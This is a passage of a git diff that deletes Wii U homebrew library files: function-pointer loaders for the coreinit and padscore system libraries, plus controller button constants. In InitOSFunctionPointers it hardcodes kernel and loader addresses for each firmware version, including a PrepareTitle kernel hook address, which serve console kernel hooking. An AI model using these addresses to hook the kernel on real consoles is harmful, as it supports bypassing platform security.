newCallback); -EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length); -EXPORT_DECL(void, DCStoreRange, const void *addr, u32 length); -EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length); -EXPORT_DECL(void*, OSEffectiveToPhysical, const void*); -EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...); -EXPORT_DECL(int *, __gh_errno_ptr, void); - -EXPORT_DECL(void, OSScreenInit, void); -EXPORT_DECL(unsigned int, OSScreenGetBufferSizeEx, unsigned int bufferNum); -EXPORT_DECL(int, OSScreenSetBufferEx, unsigned int bufferNum, void * addr); -EXPORT_DECL(int, OSScreenClearBufferEx, unsigned int bufferNum, unsigned int temp); -EXPORT_DECL(int, OSScreenFlipBuffersEx, unsigned int bufferNum); -EXPORT_DECL(int, OSScreenPutFontEx, unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); -EXPORT_DECL(int, OSScreenEnableEx, unsigned int bufferNum, int enable); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Memory functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeapEx); -EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeap); -EXPORT_VAR(unsigned int *, pMEMFreeToDefaultHeap); - -EXPORT_DECL(int, MEMGetBaseHeapHandle, int mem_arena); -EXPORT_DECL(unsigned int, MEMGetAllocatableSizeForFrmHeapEx, int heap, int align); -EXPORT_DECL(void *, MEMAllocFromFrmHeapEx, int heap, unsigned int size, int align); -EXPORT_DECL(void, MEMFreeToFrmHeap, int heap, int mode); -EXPORT_DECL(void *, MEMAllocFromExpHeapEx, int heap, unsigned int size, int align); -EXPORT_DECL(int , MEMCreateExpHeapEx, void* address, unsigned int size, unsigned short flags); -EXPORT_DECL(void *, MEMDestroyExpHeap, int heap); -EXPORT_DECL(void, MEMFreeToExpHeap, int heap, void* ptr); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! MCP functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(int, MCP_Open, void); -EXPORT_DECL(int, MCP_Close, int handle); -EXPORT_DECL(int, MCP_TitleCount, int handle); -EXPORT_DECL(int, MCP_TitleList, int handle, int *res, void *data, int count); -EXPORT_DECL(int, MCP_GetOwnTitleInfo, int handle, void * data); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Loader functions (not real rpl) -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(int, LiWaitIopComplete, int unknown_syscall_arg_r3, int * remaining_bytes); -EXPORT_DECL(int, LiWaitIopCompleteWithInterrupts, int unknown_syscall_arg_r3, int * remaining_bytes); -EXPORT_DECL(void, addr_LiWaitOneChunk, void); -EXPORT_DECL(void, addr_sgIsLoadingBuffer, void); -EXPORT_DECL(void, addr_gDynloadInitialized, void); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Kernel function addresses -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(void, addr_PrepareTitle_hook, void); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Other function addresses -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(void, DCInvalidateRange, void *buffer, uint32_t length); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Energy Saver functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//Burn-in Reduction -EXPORT_DECL(int, IMEnableDim,void); -EXPORT_DECL(int, IMDisableDim,void); -EXPORT_DECL(int, IMIsDimEnabled,int * result); -//Auto power down -EXPORT_DECL(int, IMEnableAPD,void); -EXPORT_DECL(int, IMDisableAPD,void); -EXPORT_DECL(int, IMIsAPDEnabled,int * result); -EXPORT_DECL(int, IMIsAPDEnabledBySysSettings,int * result); - - -EXPORT_DECL(int, IOS_Ioctl,int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len); -EXPORT_DECL(int, IOS_IoctlAsync,int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len, void *cb, void *cbarg); -EXPORT_DECL(int, IOS_Open,char *path, unsigned int mode); -EXPORT_DECL(int, IOS_Close,int fd); -void InitAcquireOS(void) -{ - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Lib handle functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - EXPORT_FUNC_WRITE(OSDynLoad_Acquire, (int (*)(const char*, unsigned *))OS_SPECIFICS->addr_OSDynLoad_Acquire); - EXPORT_FUNC_WRITE(OSDynLoad_FindExport, (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport); - - OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); -} - -void InitOSFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - - InitAcquireOS(); - - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Security functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, OSGetSecurityLevel); - OS_FIND_EXPORT(coreinit_handle, OSForceFullRelaunch); - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! System functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, OSFatal); - OS_FIND_EXPORT(coreinit_handle, OSGetTitleID); - OS_FIND_EXPORT(coreinit_handle, OSGetArgcArgv); - OS_FIND_EXPORT(coreinit_handle, OSSetExceptionCallback); - OS_FIND_EXPORT(coreinit_handle, DCFlushRange); - OS_FIND_EXPORT(coreinit_handle, DCStoreRange); - OS_FIND_EXPORT(coreinit_handle, ICInvalidateRange); - OS_FIND_EXPORT(coreinit_handle, OSEffectiveToPhysical); - OS_FIND_EXPORT(coreinit_handle, __os_snprintf); - OS_FIND_EXPORT(coreinit_handle, __gh_errno_ptr); - - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &__Exit); - - OS_FIND_EXPORT(coreinit_handle, OSScreenInit); - OS_FIND_EXPORT(coreinit_handle, OSScreenGetBufferSizeEx); - OS_FIND_EXPORT(coreinit_handle, OSScreenSetBufferEx); - OS_FIND_EXPORT(coreinit_handle, OSScreenClearBufferEx); - OS_FIND_EXPORT(coreinit_handle, OSScreenFlipBuffersEx); - OS_FIND_EXPORT(coreinit_handle, OSScreenPutFontEx); - OS_FIND_EXPORT(coreinit_handle, OSScreenEnableEx); - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Thread functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, OSCreateThread); - OS_FIND_EXPORT(coreinit_handle, OSResumeThread); - OS_FIND_EXPORT(coreinit_handle, OSSuspendThread); - OS_FIND_EXPORT(coreinit_handle, OSIsThreadTerminated); - OS_FIND_EXPORT(coreinit_handle, OSIsThreadSuspended); - OS_FIND_EXPORT(coreinit_handle, OSJoinThread); - OS_FIND_EXPORT(coreinit_handle, OSSetThreadPriority); - OS_FIND_EXPORT(coreinit_handle, OSDetachThread); - OS_FIND_EXPORT(coreinit_handle, OSSleepTicks); - OS_FIND_EXPORT(coreinit_handle, OSGetTick); - OS_FIND_EXPORT(coreinit_handle, OSGetTime); - OS_FIND_EXPORT(coreinit_handle, OSTicksToCalendarTime); - - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Mutex functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, OSInitMutex); - OS_FIND_EXPORT(coreinit_handle, OSLockMutex); - OS_FIND_EXPORT(coreinit_handle, OSUnlockMutex); - OS_FIND_EXPORT(coreinit_handle, OSTryLockMutex); - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! MCP functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, MCP_Open); - OS_FIND_EXPORT(coreinit_handle, MCP_Close); - OS_FIND_EXPORT(coreinit_handle, MCP_TitleCount); - OS_FIND_EXPORT(coreinit_handle, MCP_TitleList); - OS_FIND_EXPORT(coreinit_handle, MCP_GetOwnTitleInfo); - - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Memory functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx); - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeap", &pMEMAllocFromDefaultHeap); - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap); - - OS_FIND_EXPORT(coreinit_handle, MEMGetBaseHeapHandle); - OS_FIND_EXPORT(coreinit_handle, MEMGetAllocatableSizeForFrmHeapEx); - OS_FIND_EXPORT(coreinit_handle, MEMAllocFromFrmHeapEx); - OS_FIND_EXPORT(coreinit_handle, MEMFreeToFrmHeap); - OS_FIND_EXPORT(coreinit_handle, MEMAllocFromExpHeapEx); - OS_FIND_EXPORT(coreinit_handle, MEMCreateExpHeapEx); - OS_FIND_EXPORT(coreinit_handle, MEMDestroyExpHeap); - OS_FIND_EXPORT(coreinit_handle, MEMFreeToExpHeap); - - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Other function addresses - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, DCInvalidateRange); - - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Energy Saver functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //Burn-in Reduction - OS_FIND_EXPORT(coreinit_handle, IMEnableDim); - OS_FIND_EXPORT(coreinit_handle, IMDisableDim); - OS_FIND_EXPORT(coreinit_handle, IMIsDimEnabled); - //Auto power down - OS_FIND_EXPORT(coreinit_handle, IMEnableAPD); - OS_FIND_EXPORT(coreinit_handle, IMDisableAPD); - OS_FIND_EXPORT(coreinit_handle, IMIsAPDEnabled); - OS_FIND_EXPORT(coreinit_handle, IMIsAPDEnabledBySysSettings); - - OS_FIND_EXPORT(coreinit_handle, IOS_Ioctl); - OS_FIND_EXPORT(coreinit_handle, IOS_IoctlAsync); - OS_FIND_EXPORT(coreinit_handle, IOS_Open); - OS_FIND_EXPORT(coreinit_handle, IOS_Close); - - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Special non library functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - if(OS_FIRMWARE == 532 || OS_FIRMWARE == 540) - { - EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100FFA4); // loader.elf - EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100FE90); // loader.elf - EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010007EC); // loader.elf - EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF18558); // kernel.elf - - EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19D00); // loader.elf - EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE13C3C); // loader.elf - } - else if(OS_FIRMWARE == 500 || OS_FIRMWARE == 510) - { - EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100FBC4); - EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100FAB0); - EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010007EC); - EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF18534); - - EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19D00); - EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE13C3C); - } - else if(OS_FIRMWARE == 410) - { - EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100F78C); - EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100F678); - EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010007F8); - EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF166DC); - - EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19CC0); - EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE13BFC); - } - else if(OS_FIRMWARE == 400) //same for 402 and 403 - { - EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100F78C); - EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100F678); - EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010007F8); - EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF15E70); - - EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19CC0); - EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE13BFC); - } - else if(OS_FIRMWARE == 550) - { - EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x01010180); - EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0101006C); - EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x0100080C); - EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF184E4); - - EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19E80); - EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE13DBC); - } - else if(OS_FIRMWARE == 310) - { - EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100C4E4); - EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100C3D4); - EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010004D8); - EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF15A0C); - - EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19340); - EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE1329C); - } - else if(OS_FIRMWARE == 300) - { - EXPORT_FUNC_WRITE(LiWaitIopComplete, (int (*)(int, int *))0x0100C4E4); - EXPORT_FUNC_WRITE(LiWaitIopCompleteWithInterrupts, (int (*)(int, int *))0x0100C3D4); - EXPORT_FUNC_WRITE(addr_LiWaitOneChunk, (int (*)(int, int *))0x010004D8); - EXPORT_FUNC_WRITE(addr_PrepareTitle_hook, (int (*)(int, int *))0xFFF15974); - - EXPORT_FUNC_WRITE(addr_sgIsLoadingBuffer, (int (*)(int, int *))0xEFE19340); - EXPORT_FUNC_WRITE(addr_gDynloadInitialized, (int (*)(int, int *))0xEFE1329C); - } - else - { - OSFatal("Missing all OS specific addresses."); - } -} diff --git a/installer/src/dynamic_libs/os_functions.h b/installer/src/dynamic_libs/os_functions.h deleted file mode 100644 index 3d58932..0000000 --- a/installer/src/dynamic_libs/os_functions.h +++ /dev/null @@ -1,182 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __OS_FUNCTIONS_H_ -#define __OS_FUNCTIONS_H_ - -#include -#include "common/os_defs.h" -#include "os_types.h" - -#ifdef __cplusplus -extern "C" { -#endif - -#define BUS_SPEED 248625000 -#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) -#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000) -#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000) - -#define usleep(usecs) OSSleepTicks(MICROSECS_TO_TICKS(usecs)) -#define sleep(secs) OSSleepTicks(SECS_TO_TICKS(secs)) - -#define FLUSH_DATA_BLOCK(addr) asm volatile("dcbf 0, %0; sync" : : "r"(((addr) & ~31))) -#define INVAL_DATA_BLOCK(addr) asm volatile("dcbi 0, %0; sync" : : "r"(((addr) & ~31))) - -#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__) __attribute__((section(".data"))) = 0; -#define EXPORT_VAR(type, var) type var __attribute__((section(".data"))); - - -#define EXPORT_FUNC_WRITE(func, val) *(u32*)(((u32)&func) + 0) = (u32)val - -#define OS_FIND_EXPORT(handle, func) funcPointer = 0; \ - OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \ - if(!funcPointer) \ - OSFatal("Function " # func " is NULL"); \ - EXPORT_FUNC_WRITE(func, funcPointer); - -#define OS_FIND_EXPORT_EX(handle, func, func_p) \ - funcPointer = 0; \ - OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \ - if(!funcPointer) \ - OSFatal("Function " # func " is NULL"); \ - EXPORT_FUNC_WRITE(func_p, funcPointer); - -#define OS_MUTEX_SIZE 44 - -/* Handle for coreinit */ -extern unsigned int coreinit_handle; -void InitOSFunctionPointers(void); -void InitAcquireOS(void); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Lib handle functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern int (* OSDynLoad_Acquire)(const char* rpl, u32 *handle); -extern int (* OSDynLoad_FindExport)(u32 handle, int isdata, const char *symbol, void *address); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Security functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern int (* OSGetSecurityLevel)(void); -extern int (* OSForceFullRelaunch)(void); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Thread functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern int (* OSCreateThread)(void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr); -extern int (* OSResumeThread)(void *thread); -extern int (* OSSuspendThread)(void *thread); -extern int (* OSIsThreadTerminated)(void *thread); -extern int (* OSIsThreadSuspended)(void *thread); -extern int (* OSJoinThread)(void * thread, int * ret_val); -extern int (* OSSetThreadPriority)(void * thread, int priority); -extern void (* OSDetachThread)(void * thread); -extern void (* OSSleepTicks)(u64 ticks); -extern u64 (* OSGetTick)(void); -extern u64 (* OSGetTime)(void); -extern void (*OSTicksToCalendarTime)(u64 time, OSCalendarTime *calendarTime); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Mutex functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern void (* OSInitMutex)(void* mutex); -extern void (* OSLockMutex)(void* mutex); -extern void (* OSUnlockMutex)(void* mutex); -extern int (* OSTryLockMutex)(void* mutex); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! System functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern u64 (* OSGetTitleID)(void); -extern void (* OSGetArgcArgv)(int* argc, char*** argv); -extern void (* __Exit)(void); -extern void (* OSFatal)(const char* msg); -extern void (* DCFlushRange)(const void *addr, u32 length); -extern void (* DCStoreRange)(const void *addr, u32 length); -extern void (* ICInvalidateRange)(const void *addr, u32 length); -extern void* (* OSEffectiveToPhysical)(const void*); -extern int (* __os_snprintf)(char* s, int n, const char * format, ...); -extern int * (* __gh_errno_ptr)(void); - -extern void (*OSScreenInit)(void); -extern unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum); -extern int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); -extern int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); -extern int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); -extern int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); -extern int (*OSScreenEnableEx)(unsigned int bufferNum, int enable); - -typedef unsigned char (*exception_callback)(void * interruptedContext); -extern void (* OSSetExceptionCallback)(u8 exceptionType, exception_callback newCallback); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! MCP functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern int (* MCP_Open)(void); -extern int (* MCP_Close)(int handle); -extern int (* MCP_TitleCount)(int handle); -extern int (* MCP_TitleList)(int handle, int *res, void *data, int count); -extern int (* MCP_GetOwnTitleInfo)(int handle, void * data); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! LOADER functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern int (* LiWaitIopComplete)(int unknown_syscall_arg_r3, int * remaining_bytes); -extern int (* LiWaitIopCompleteWithInterrupts)(int unknown_syscall_arg_r3, int * remaining_bytes); -extern void (* addr_LiWaitOneChunk)(void); -extern void (* addr_sgIsLoadingBuffer)(void); -extern void (* addr_gDynloadInitialized)(void); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Kernel function addresses -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern void (* addr_PrepareTitle_hook)(void); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Other function addresses -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern void (*DCInvalidateRange)(void *buffer, uint32_t length); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Energy Saver functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -////Burn-in Reduction -extern int (*IMEnableDim)(void); -extern int (*IMDisableDim)(void); -extern int (*IMIsDimEnabled)(int * result); -//Auto power down -extern int (*IMEnableAPD)(void); -extern int (*IMDisableAPD)(void); -extern int (*IMIsAPDEnabled)(int * result); -extern int (*IMIsAPDEnabledBySysSettings)(int * result); - -extern int (*IOS_Ioctl)(int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len); -extern int (*IOS_IoctlAsync)(int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len, void *cb, void *cbarg); -extern int (*IOS_Open)(char *path, unsigned int mode); -extern int (*IOS_Close)(int fd); -#ifdef __cplusplus -} -#endif - -#endif // __OS_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/os_types.h b/installer/src/dynamic_libs/os_types.h deleted file mode 100644 index aaa18fe..0000000 --- a/installer/src/dynamic_libs/os_types.h +++ /dev/null @@ -1,27 +0,0 @@ -#ifndef _OS_TYPES_H_ -#define _OS_TYPES_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -typedef struct _OSCalendarTime { - int sec; - int min; - int hour; - int mday; - int mon; - int year; - int wday; - int yday; - int msec; - int usec; -} OSCalendarTime; - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/installer/src/dynamic_libs/padscore_functions.c b/installer/src/dynamic_libs/padscore_functions.c deleted file mode 100644 index f7ca8e9..0000000 --- a/installer/src/dynamic_libs/padscore_functions.c +++ /dev/null @@ -1,61 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "padscore_functions.h" - -unsigned int padscore_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(void, KPADInit, void); -EXPORT_DECL(void, WPADInit, void); -EXPORT_DECL(s32, WPADProbe, s32 chan, u32 * pad_type); -EXPORT_DECL(s32, WPADSetDataFormat, s32 chan, s32 format); -EXPORT_DECL(void, WPADEnableURCC, s32 enable); -EXPORT_DECL(void, WPADRead, s32 chan, void * data); -EXPORT_DECL(s32, KPADRead, s32 chan, void * data, u32 size); -EXPORT_DECL(void,WPADSetAutoSleepTime,u8 minute); -EXPORT_DECL(void,WPADDisconnect,s32 chan); - -void InitAcquirePadScore(void) -{ - OSDynLoad_Acquire("padscore.rpl", &padscore_handle); -} - -void InitPadScoreFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - InitAcquirePadScore(); - - OS_FIND_EXPORT(padscore_handle, WPADInit); - OS_FIND_EXPORT(padscore_handle, KPADInit); - OS_FIND_EXPORT(padscore_handle, WPADProbe); - OS_FIND_EXPORT(padscore_handle, WPADSetDataFormat); - OS_FIND_EXPORT(padscore_handle, WPADEnableURCC); - OS_FIND_EXPORT(padscore_handle, WPADRead); - OS_FIND_EXPORT(padscore_handle, KPADRead); - OS_FIND_EXPORT(padscore_handle, WPADSetAutoSleepTime); - OS_FIND_EXPORT(padscore_handle, WPADDisconnect); - - KPADInit(); - WPADEnableURCC(1); -} diff --git a/installer/src/dynamic_libs/padscore_functions.h b/installer/src/dynamic_libs/padscore_functions.h deleted file mode 100644 index 5b000b1..0000000 --- a/installer/src/dynamic_libs/padscore_functions.h +++ /dev/null @@ -1,171 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __PAD_SCORE_FUNCTIONS_H_ -#define __PAD_SCORE_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include "dynamic_libs/vpad_functions.h" - -extern unsigned int padscore_handle; - -#include - -#define WPAD_BUTTON_LEFT 0x0001 -#define WPAD_BUTTON_RIGHT 0x0002 -#define WPAD_BUTTON_DOWN 0x0004 -#define WPAD_BUTTON_UP 0x0008 -#define WPAD_BUTTON_PLUS 0x0010 -#define WPAD_BUTTON_2 0x0100 -#define WPAD_BUTTON_1 0x0200 -#define WPAD_BUTTON_B 0x0400 -#define WPAD_BUTTON_A 0x0800 -#define WPAD_BUTTON_MINUS 0x1000 -#define WPAD_BUTTON_Z 0x2000 -#define WPAD_BUTTON_C 0x4000 -#define WPAD_BUTTON_HOME 0x8000 - -#define WPAD_CLASSIC_BUTTON_UP 0x0001 -#define WPAD_CLASSIC_BUTTON_LEFT 0x0002 -#define WPAD_CLASSIC_BUTTON_ZR 0x0004 -#define WPAD_CLASSIC_BUTTON_X 0x0008 -#define WPAD_CLASSIC_BUTTON_A 0x0010 -#define WPAD_CLASSIC_BUTTON_Y 0x0020 -#define WPAD_CLASSIC_BUTTON_B 0x0040 -#define WPAD_CLASSIC_BUTTON_ZL 0x0080 -#define WPAD_CLASSIC_BUTTON_R 0x0200 -#define WPAD_CLASSIC_BUTTON_PLUS 0x0400 -#define WPAD_CLASSIC_BUTTON_HOME 0x0800 -#define WPAD_CLASSIC_BUTTON_MINUS 0x1000 -#define WPAD_CLASSIC_BUTTON_L 0x2000 -#define WPAD_CLASSIC_BUTTON_DOWN 0x4000 -#define WPAD_CLASSIC_BUTTON_RIGHT 0x8000 - -#define WPAD_PRO_BUTTON_UP 0x00000001 -#define WPAD_PRO_BUTTON_LEFT 0x00000002 -#define WPAD_PRO_TRIGGER_ZR 0x00000004 -#define WPAD_PRO_BUTTON_X 0x00000008 -#define WPAD_PRO_BUTTON_A 0x00000010 -#define WPAD_PRO_BUTTON_Y 0x00000020 -#define WPAD_PRO_BUTTON_B 0x00000040 -#define WPAD_PRO_TRIGGER_ZL 0x00000080 -#define WPAD_PRO_RESERVED 0x00000100 -#define WPAD_PRO_TRIGGER_R 0x00000200 -#define WPAD_PRO_BUTTON_PLUS 0x00000400 -#define WPAD_PRO_BUTTON_HOME 0x00000800 -#define WPAD_PRO_BUTTON_MINUS 0x00001000 -#define WPAD_PRO_TRIGGER_L 0x00002000 -#define WPAD_PRO_BUTTON_DOWN 0x00004000 -#define WPAD_PRO_BUTTON_RIGHT 0x00008000 -#define WPAD_PRO_BUTTON_STICK_R 0x00010000 -#define WPAD_PRO_BUTTON_STICK_L 0x00020000 - -#define WPAD_PRO_STICK_L_EMULATION_UP 0x00200000 -#define WPAD_PRO_STICK_L_EMULATION_DOWN 0x00100000 -#define 